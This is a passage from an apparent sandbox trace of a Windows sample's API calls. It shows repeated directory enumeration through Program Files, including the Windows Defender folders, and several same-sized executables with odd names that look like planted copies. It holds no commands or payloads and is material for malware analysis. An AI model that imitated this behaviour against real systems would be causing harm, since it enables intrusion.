nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1 [0185.330] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1 [0185.330] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1 [0185.331] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.008.etl", cAlternateFileName="UNFF10~1.ETL")) returned 1 [0185.331] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.009.etl", cAlternateFileName="UNB5F0~1.ETL")) returned 1 [0185.331] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.010.etl", cAlternateFileName="UNIVER~4.ETL")) returned 1 [0185.331] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.021.etl", cAlternateFileName="UNIVER~3.ETL")) returned 1 [0185.331] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.022.etl", cAlternateFileName="UNIVER~2.ETL")) returned 1 [0185.331] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 1 [0185.331] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 0 [0185.332] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0185.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0185.333] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0185.333] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 0 [0185.333] FindClose (in: hFindFile=0x4840d8 | out: hFindFile=0x4840d8) returned 1 [0185.666] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.666] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8f11cc1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x711dc3b4, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0185.666] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fb08d0 [0185.685] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.686] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0185.688] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.688] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0185.689] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.689] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3ca207c9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca207c9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0185.692] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.692] FindNextFileW (in: hFindFile=0x484618, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1 [0185.692] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.692] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c8c92bc, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c8c92bc, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0185.695] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.695] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543b8090, ftCreationTime.dwHighDateTime=0x1d55420, ftLastAccessTime.dwLowDateTime=0x6edace50, ftLastAccessTime.dwHighDateTime=0x1d576d6, ftLastWriteTime.dwLowDateTime=0x6edace50, ftLastWriteTime.dwHighDateTime=0x1d576d6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0185.696] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.696] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3c9fa545, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9fa545, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0185.702] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.702] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0185.702] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.702] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0185.706] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.706] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0185.709] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.709] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43291780, ftCreationTime.dwHighDateTime=0x1d5b9c5, ftLastAccessTime.dwLowDateTime=0x4d2f8510, ftLastAccessTime.dwHighDateTime=0x1d552f6, ftLastWriteTime.dwLowDateTime=0x4d2f8510, ftLastWriteTime.dwHighDateTime=0x1d552f6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="risks_lows_nickel.exe", cAlternateFileName="RISKS_~1.EXE")) returned 1 [0185.710] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.710] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0185.710] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.710] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0185.711] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.711] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c9157b4, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9157b4, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0185.711] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.711] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ca6cdb8, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca6cdb8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0185.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.848] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0185.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.849] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eba0a30, ftCreationTime.dwHighDateTime=0x1d5d1a4, ftLastAccessTime.dwLowDateTime=0x2665cbb0, ftLastAccessTime.dwHighDateTime=0x1d5a8ff, ftLastWriteTime.dwLowDateTime=0x2665cbb0, ftLastWriteTime.dwHighDateTime=0x1d5a8ff, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 1 [0185.849] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0185.849] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0185.849] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.849] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0185.850] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0185.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.851] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ca46a80, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca46a80, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0185.852] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.852] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0185.853] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.853] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3f7bc9c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3f7bc9c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0185.853] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.853] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3f7bc9c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3f7bc9c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0185.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0185.854] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0185.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.854] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f5ce20, ftCreationTime.dwHighDateTime=0x1d56506, ftLastAccessTime.dwLowDateTime=0xc9b96310, ftLastAccessTime.dwHighDateTime=0x1d5c84b, ftLastWriteTime.dwLowDateTime=0xc9b96310, ftLastWriteTime.dwHighDateTime=0x1d5c84b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0185.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.854] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0185.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.857] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0185.858] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.859] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, 